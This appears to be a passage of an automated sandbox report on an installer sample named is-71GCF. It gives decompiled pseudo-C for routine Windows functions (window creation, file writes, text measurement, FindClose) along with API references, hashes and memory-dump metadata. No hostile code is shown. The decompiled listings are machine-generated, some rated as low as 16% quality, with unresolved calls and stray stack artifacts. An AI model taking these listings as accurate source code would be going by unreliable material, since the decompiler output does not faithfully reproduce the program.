                                                          0x0041fe08
                                                          0x0041fe10
                                                          0x0041fe1d
                                                          0x0041fe12
                                                          0x0041fe15
                                                          0x0041fe15
                                                          0x0041fe2e
                                                          0x0041fe32
                                                          0x0041fe35
                                                          0x0041fe39
                                                          0x0041fe51
                                                          0x0041fe67

                                                          APIs
                                                          • SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FE51
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: InfoScroll
                                                          • String ID:
                                                          • API String ID: 629608716-0
                                                          • Opcode ID: 888ad13662f13ad0bd03ed50b7689cab4f24634a29ce09f20c02b28e3daba57a
                                                          • Instruction ID: e540092da8e7da3dae8bd1b2a92eb4b6159312edffabb0d8bcf6d17393f85037
                                                          • Opcode Fuzzy Hash: 888ad13662f13ad0bd03ed50b7689cab4f24634a29ce09f20c02b28e3daba57a
                                                          • Instruction Fuzzy Hash: D82142B1608745AFC340DF7994406A7BBE4BB48304F14493EE498C3741E778E99ACBD6
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 40%
                                                          			E0044FF24(void* __ecx, void* __edx, void* _a4, void* _a8, void* _a12) {
                                                          				void* __ebp;
                                                          				intOrPtr* _t13;
                                                          				intOrPtr _t26;
                                                          				intOrPtr _t27;
                                                          				void* _t32;
                                                          				void* _t33;
                                                          				void* _t34;
                                                          				intOrPtr* _t36;
                                                          				void* _t38;
                                                          				void* _t39;
                                                          
                                                          				_t34 = __edx;
                                                          				_t33 = __ecx;
                                                          				if(__edx != 0) {
                                                          					_t39 = _t39 + 0xfffffff0;
                                                          					_t13 = E00402E78(_t13, _t38);
                                                          				}
                                                          				_t32 = _t34;
                                                          				_t36 = _t13;
                                                          				E00402C78(0);
                                                          				_push(0);
                                                          				_push(0x80);
                                                          				_push( *0x0048C9E0);
                                                          				_push(0);
                                                          				_push( *0x0048C9D0);
                                                          				_push( *0x0048C9C4);
                                                          				_t26 = E00403880(_t33);
                                                          				_push(_t26); // executed
                                                          				L00405964(); // executed
                                                          				 *((intOrPtr*)(_t36 + 4)) = _t26;
                                                          				_t11 = _t36 + 4; // 0x69465405
                                                          				_t27 =  *_t11;
                                                          				if(_t27 == 0 || _t27 + 1 == 0) {
                                                          					E00450118( *_t36);
                                                          				}
                                                          				 *((char*)(_t36 + 8)) = 1;
                                                          				if(_t32 != 0) {
                                                          					_pop( *[fs:0x0]);
                                                          				}
                                                          				return _t36;
                                                          			}













                                                          0x0044ff24
                                                          0x0044ff24
                                                          0x0044ff2c
                                                          0x0044ff2e
                                                          0x0044ff31
                                                          0x0044ff31
                                                          0x0044ff38
                                                          0x0044ff3a
                                                          0x0044ff40
                                                          0x0044ff45
                                                          0x0044ff47
                                                          0x0044ff58
                                                          0x0044ff59
                                                          0x0044ff67
                                                          0x0044ff74
                                                          0x0044ff77
                                                          0x0044ff7c
                                                          0x0044ff7d
                                                          0x0044ff82
                                                          0x0044ff85
                                                          0x0044ff85
                                                          0x0044ff8a
                                                          0x0044ff91
                                                          0x0044ff91
                                                          0x0044ff96
                                                          0x0044ff9c
                                                          0x0044ff9e
                                                          0x0044ffa5
                                                          0x0044ffae

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000,00000002,00000000), ref: 0044FF7D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f04b9bdfdb98c96e06be34f4ab8b1ccad4c40d697cc44ee9932cb28ff6ba2adc
                                                          • Instruction ID: 2e2a120d147de6d94c72ad5ffc2ae7c715d885b5015c71d5a04a7e90ff779685
                                                          • Opcode Fuzzy Hash: f04b9bdfdb98c96e06be34f4ab8b1ccad4c40d697cc44ee9932cb28ff6ba2adc
                                                          • Instruction Fuzzy Hash: A90128B23005446BD310DB7D9C41F6B77C89B4A354F088137F898D7381DA75D81887A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ExitProcess
                                                          • String ID:
                                                          • API String ID: 621844428-0
                                                          • Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
                                                          • Instruction ID: 9f8cf82f4584f97632556d285df67e84eae5bfbe1e2ca16854b8ddf6377e1a6f
                                                          • Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
                                                          • Instruction Fuzzy Hash: 7DF01D74605109FBEF1CCF58E1A19EF7BA1EB99310B60806FE507C73A0D634AE80D659
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00416768(void* __eax, CHAR** __edx) {
                                                          				struct HINSTANCE__* _t13;
                                                          				struct HWND__* _t23;
                                                          				void* _t26;
                                                          
                                                          				_t26 = __eax;
                                                          				_t13 =  *0x48d014; // 0x400000
                                                          				_t23 = CreateWindowExA(__edx[2],  &(__edx[0x13]),  *__edx, __edx[1], __edx[3], __edx[4], __edx[5], __edx[6], __edx[7], 0, _t13, __edx[8]); // executed
                                                          				 *(_t26 + 0xc0) = _t23;
                                                          				return _t23;
                                                          			}






                                                          0x0041676c
                                                          0x00416772
                                                          0x0041679d
                                                          0x004167a2
                                                          0x004167aa

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CreateWindow
                                                          • String ID:
                                                          • API String ID: 716092398-0
                                                          • Opcode ID: 795260cd6bd7fdc1189ff6fc4d2ff421b563323c442d0d232bced7d330843685
                                                          • Instruction ID: 6c3ef091721d5a05e3f25395159bc42e2463a2ee5bd90214379e7bac883b3513
                                                          • Opcode Fuzzy Hash: 795260cd6bd7fdc1189ff6fc4d2ff421b563323c442d0d232bced7d330843685
                                                          • Instruction Fuzzy Hash: F5F025B2601510AFDB84CF9CD8C0F9773ECEB0C210B0885A6FA08CF24AD224EC108BB0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 16%
                                                          			E00414BCC(intOrPtr* __eax, void* __edx) {
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				void* _v28;
                                                          				intOrPtr _v32;
                                                          				intOrPtr* _t31;
                                                          
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				 *((intOrPtr*)( *__eax + 0x2c))();
                                                          				_push( *((intOrPtr*)(__eax + 0x2c)) - _v20 +  *_t31);
                                                          				_push( *((intOrPtr*)(__eax + 0x30)) - _v16 + _v32);
                                                          				return  *((intOrPtr*)( *__eax + 0x4c))();
                                                          			}








                                                          0x00414bd7
                                                          0x00414bd8
                                                          0x00414be3
                                                          0x00414bf0
                                                          0x00414bfc
                                                          0x00414c10

                                                          APIs
                                                          • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00414C07
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CallbackDispatcherUser
                                                          • String ID:
                                                          • API String ID: 2492992576-0
                                                          • Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
                                                          • Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
                                                          • Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
                                                          • Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 87%
                                                          			E0045023C(intOrPtr* __eax, long __ecx, void* __edx, void* __ebp) {
                                                          				long _v16;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				int _t6;
                                                          				intOrPtr* _t9;
                                                          				long _t15;
                                                          
                                                          				_push(__ecx);
                                                          				_t15 = __ecx;
                                                          				_t14 = __edx;
                                                          				_t9 = __eax;
                                                          				_t6 = WriteFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
                                                          				if(_t6 == 0) {
                                                          					_t6 = E00450118( *_t9);
                                                          				}
                                                          				if(_t15 != _v16) {
                                                          					_t6 = E00450078(_t9, 0x1d, _t14, _t15);
                                                          				}
                                                          				return _t6;
                                                          			}










                                                          0x0045023f
                                                          0x00450240
                                                          0x00450242
                                                          0x00450244
                                                          0x00450253
                                                          0x0045025a
                                                          0x0045025e
                                                          0x0045025e
                                                          0x00450266
                                                          0x0045026f
                                                          0x0045026f
                                                          0x00450278

                                                          APIs
                                                          • WriteFile.KERNEL32(?,?,00000000,00450496,00000000,00000000,?,?,?,00450496,00000000,00452595,?,0048B23D,00000000,00452636), ref: 00450253
                                                            • Part of subcall function 00450118: GetLastError.KERNEL32(00000001,0044FF96,00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000), ref: 0045011B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorFileLastWrite
                                                          • String ID:
                                                          • API String ID: 442123175-0
                                                          • Opcode ID: 2842ea7bc6511e8c2d718eef324573f67b024011173ce29c9fd7847b3f6ba579
                                                          • Instruction ID: 674aa04627b62e24b29d3ef8bf19d0357b5f18529ded2054958fda780b13fd42
                                                          • Opcode Fuzzy Hash: 2842ea7bc6511e8c2d718eef324573f67b024011173ce29c9fd7847b3f6ba579
                                                          • Instruction Fuzzy Hash: D4E092767041106BDB20E65AD884F6B67DCCF85751F00407BB904CB216CA649C088775
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 27%
                                                          			E0042CDBC(char* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v8;
                                                          				intOrPtr _t20;
                                                          				intOrPtr _t25;
                                                          
                                                          				_push(0);
                                                          				_push(_t25);
                                                          				_push(0x42ce04);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t25;
                                                          				E0042CC98(__eax, __ecx,  &_v8, __eflags);
                                                          				_push(E00403880(_v8)); // executed
                                                          				L00405A54(); // executed
                                                          				_pop(_t20);
                                                          				 *[fs:eax] = _t20;
                                                          				_push(E0042CE0B);
                                                          				return E00403548( &_v8);
                                                          			}






                                                          0x0042cdbf
                                                          0x0042cdc8
                                                          0x0042cdc9
                                                          0x0042cdce
                                                          0x0042cdd1
                                                          0x0042cdd9
                                                          0x0042cde6
                                                          0x0042cde7
                                                          0x0042cdf0
                                                          0x0042cdf3
                                                          0x0042cdf6
                                                          0x0042ce03

                                                          APIs
                                                            • Part of subcall function 0042CC98: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0042CDDE,00000000,0042CE04,?,?,?,00000000,00000000,?,0042CE19), ref: 0042CCC0
                                                          • 6CF178A0.KERNEL32(00000000,00000000,0042CE04,?,?,?,00000000,00000000,?,0042CE19,00450DCB,00000000), ref: 0042CDE7
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CharF178Prev
                                                          • String ID:
                                                          • API String ID: 1645414822-0
                                                          • Opcode ID: 727180b66f65586923329090a688826150c1f9f6a2f6490c16fa3cb47dd6e8bb
                                                          • Instruction ID: da92d61eb6b352902b1c215b0369a352a3cb5dd7ef3dec75437e06d4da21b6e5
                                                          • Opcode Fuzzy Hash: 727180b66f65586923329090a688826150c1f9f6a2f6490c16fa3cb47dd6e8bb
                                                          • Instruction Fuzzy Hash: 0EE06D71304304BBD711EE62DC92E5EBBACDB49B14BA2487AB400E3691E6786E0485A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041B188(void* __eax, void* __ecx, void* __edx, void* __edi, void* __ebp, void* __eflags) {
                                                          				intOrPtr _v28;
                                                          				int _t7;
                                                          				int _t11;
                                                          				intOrPtr _t12;
                                                          				void* _t13;
                                                          				intOrPtr _t17;
                                                          				void* _t22;
                                                          
                                                          				_t13 = __eax;
                                                          				_t17 =  *0x41b1cc; // 0x3
                                                          				E0041B380(__eax, __ecx, _t17, __edi);
                                                          				_t7 = E004036BC(__edx);
                                                          				_t11 = GetTextExtentPointA( *(_t13 + 4), E00403880(__edx), _t7, _t22 + 0xfffffff8); // executed
                                                          				if(_t11 == 0) {
                                                          					_t12 = 0;
                                                          				} else {
                                                          					_t12 = _v28;
                                                          				}
                                                          				return _t12;
                                                          			}










                                                          0x0041b18f
                                                          0x0041b191
                                                          0x0041b199
                                                          0x0041b1a1
                                                          0x0041b1b3
                                                          0x0041b1ba
                                                          0x0041b1c2
                                                          0x0041b1bc
                                                          0x0041b1bc
                                                          0x0041b1bc
                                                          0x0041b1c8

                                                          APIs
                                                          • GetTextExtentPointA.GDI32(?,00000000,00000000), ref: 0041B1B3
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ExtentPointText
                                                          • String ID:
                                                          • API String ID: 566491939-0
                                                          • Opcode ID: b111d799f9b94e0a39fba0997c5c3acaa2aefbbbddb2e345bd6e10dfd308cf59
                                                          • Instruction ID: c56c2742f7fb9ae5acf1417677f1b93ba76c08f70e38e35781b52b188b3b1cc8
                                                          • Opcode Fuzzy Hash: b111d799f9b94e0a39fba0997c5c3acaa2aefbbbddb2e345bd6e10dfd308cf59
                                                          • Instruction Fuzzy Hash: 64E04F713085102BD741E67D5C9199B67DCCE492A4315867BF898E73C2E729DD0442ED
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004063FC(CHAR* __eax, long __ecx, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32) {
                                                          				struct HWND__* _t10;
                                                          
                                                          				_t10 = CreateWindowExA(0, __eax, __edx, __ecx, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
                                                          				return _t10;
                                                          			}




                                                          0x00406425
                                                          0x0040642c

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CreateWindow
                                                          • String ID:
                                                          • API String ID: 716092398-0
                                                          • Opcode ID: 85b28a6e909be971fa5c2b10f844aa2cfc1bbfc1f3ab945af7c68de878036d31
                                                          • Instruction ID: 2d7956092cb8c6c0a4803f008808c1ff7e10d83777fa5081e157e7355fbe1d3f
                                                          • Opcode Fuzzy Hash: 85b28a6e909be971fa5c2b10f844aa2cfc1bbfc1f3ab945af7c68de878036d31
                                                          • Instruction Fuzzy Hash: 15E002F2204309BFDB00DE8ADCC1DABB7ACFB4C654F804105BB1C972428275AC608B71
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 33%
                                                          			E0042DD50(void* __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
                                                          				intOrPtr _t14;
                                                          				void* _t15;
                                                          				void* _t16;
                                                          				signed int _t17;
                                                          
                                                          				_t16 = __edx;
                                                          				_t15 = __ecx;
                                                          				_t17 = _a16;
                                                          				if(__eax == 2) {
                                                          					_t17 = _t17 | 0x00000100;
                                                          				}
                                                          				_push(_a4);
                                                          				_push(_a8);
                                                          				_push(_a12);
                                                          				_push(_t17);
                                                          				_push(_a20);
                                                          				_push(_a24);
                                                          				_t14 = _a28;
                                                          				_push(_t14);
                                                          				_push(_t15);
                                                          				_push(_t16); // executed
                                                          				L004058EC(); // executed
                                                          				return _t14;
                                                          			}







                                                          0x0042dd50
                                                          0x0042dd50
                                                          0x0042dd54
                                                          0x0042dd59
                                                          0x0042dd5b
                                                          0x0042dd5b
                                                          0x0042dd64
                                                          0x0042dd68
                                                          0x0042dd6c
                                                          0x0042dd6d
                                                          0x0042dd71
                                                          0x0042dd75
                                                          0x0042dd76
                                                          0x0042dd79
                                                          0x0042dd7a
                                                          0x0042dd7b
                                                          0x0042dd7c
                                                          0x0042dd83

                                                          APIs
                                                          • 6CAA64E0.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DD7C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 631e09257d349a70686c2b9a3fb90cce6fe6e24f79502f7a3101c31c28807355
                                                          • Instruction ID: 657dc707ebcff19dbeb2ff18312c7b534856d620e183bd2699373ed431cc6579
                                                          • Opcode Fuzzy Hash: 631e09257d349a70686c2b9a3fb90cce6fe6e24f79502f7a3101c31c28807355
                                                          • Instruction Fuzzy Hash: 28E07EB2A10119AF9B40DE8CEC81EEB37ADAB1D350B408016FA08D7200C2B4EC619BA4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004531A8(intOrPtr* __ecx, void* __edx, void* __eflags) {
                                                          				intOrPtr _v300;
                                                          				intOrPtr _v304;
                                                          				void* _t7;
                                                          				void* _t8;
                                                          				intOrPtr* _t14;
                                                          				signed char* _t20;
                                                          
                                                          				_t14 = __ecx;
                                                          				_t8 = E00451554(_t7, _t20, __edx, __eflags); // executed
                                                          				if(_t8 == 0xffffffff) {
                                                          					L3:
                                                          					 *_t14 = 0;
                                                          					__eflags = 0;
                                                          					 *((intOrPtr*)(_t14 + 4)) = 0;
                                                          					return 0;
                                                          				}
                                                          				FindClose(_t8);
                                                          				if(( *_t20 & 0x00000010) != 0) {
                                                          					goto L3;
                                                          				}
                                                          				 *_t14 = _v304;
                                                          				 *((intOrPtr*)(_t14 + 4)) = _v300;
                                                          				return 1;
                                                          			}









                                                          0x004531af
                                                          0x004531b3
                                                          0x004531bb
                                                          0x004531da
                                                          0x004531de
                                                          0x004531e0
                                                          0x004531e2
                                                          0x00000000
                                                          0x004531e2
                                                          0x004531be
                                                          0x004531c7
                                                          0x00000000
                                                          0x00000000
                                                          0x004531cd
                                                          0x004531d3
                                                          0x00000000

                                                          APIs
                                                          • FindClose.KERNEL32(00000000,000000FF,00468B96,00000000,0046984E,?,00000000,00469897,?,00000000,004699D0,?,00000000,?,00000000), ref: 004531BE
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseFind
                                                          • String ID:
                                                          • API String ID: 1863332320-0
                                                          • Opcode ID: 44e6222c1d95386c18e67b408ec02326282b71d3d3faab1e5d656652a1158ce1
                                                          • Instruction ID: 323aeabcd02059172e6a86a6d4cd6512fbbfe936bf6d469df606904342e840dd
                                                          • Opcode Fuzzy Hash: 44e6222c1d95386c18e67b408ec02326282b71d3d3faab1e5d656652a1158ce1
                                                          • Instruction Fuzzy Hash: 4FE09BB06046008BCB14CF3988803567AD15F85321F08C96AFC59CB3D7E63DD5095767
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 16%
                                                          			E00414894(intOrPtr* __eax, intOrPtr* __edx) {
                                                          
                                                          				_push( *((intOrPtr*)(__edx + 8)) -  *__edx);
                                                          				_push( *((intOrPtr*)(__edx + 0xc)) -  *((intOrPtr*)(__edx + 4)));
                                                          				return  *((intOrPtr*)( *__eax + 0x4c))();
                                                          			}



                                                          0x004148a1
                                                          0x004148aa
                                                          0x004148ba

                                                          APIs
                                                          • KiUserCallbackDispatcher.NTDLL(004880F6,?,00488116,?,?,00000000,004880F6,?,?), ref: 004148B3
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CallbackDispatcherUser
                                                          • String ID:
                                                          • API String ID: 2492992576-0
                                                          • Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
                                                          • Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
                                                          • Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
                                                          • Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E00406FAC(void* __eax, long __ecx, void* __edx) {
                                                          				long _v16;
                                                          				int _t4;
                                                          
                                                          				_push(__ecx);
                                                          				_t4 = WriteFile(__eax, __edx, __ecx,  &_v16, 0); // executed
                                                          				if(_t4 == 0) {
                                                          					_v16 = 0xffffffff;
                                                          				}
                                                          				return _v16;
                                                          			}





                                                          0x00406faf
                                                          0x00406fc0
                                                          0x00406fc7
                                                          0x00406fc9
                                                          0x00406fc9
                                                          0x00406fd7

                                                          APIs
                                                          • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406FC0
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FileWrite
                                                          • String ID:
                                                          • API String ID: 3934441357-0
                                                          • Opcode ID: 85229c5ab6443546c4d7ada4fe6e16972f4d1f4052e8b5d3a6116daef923843e
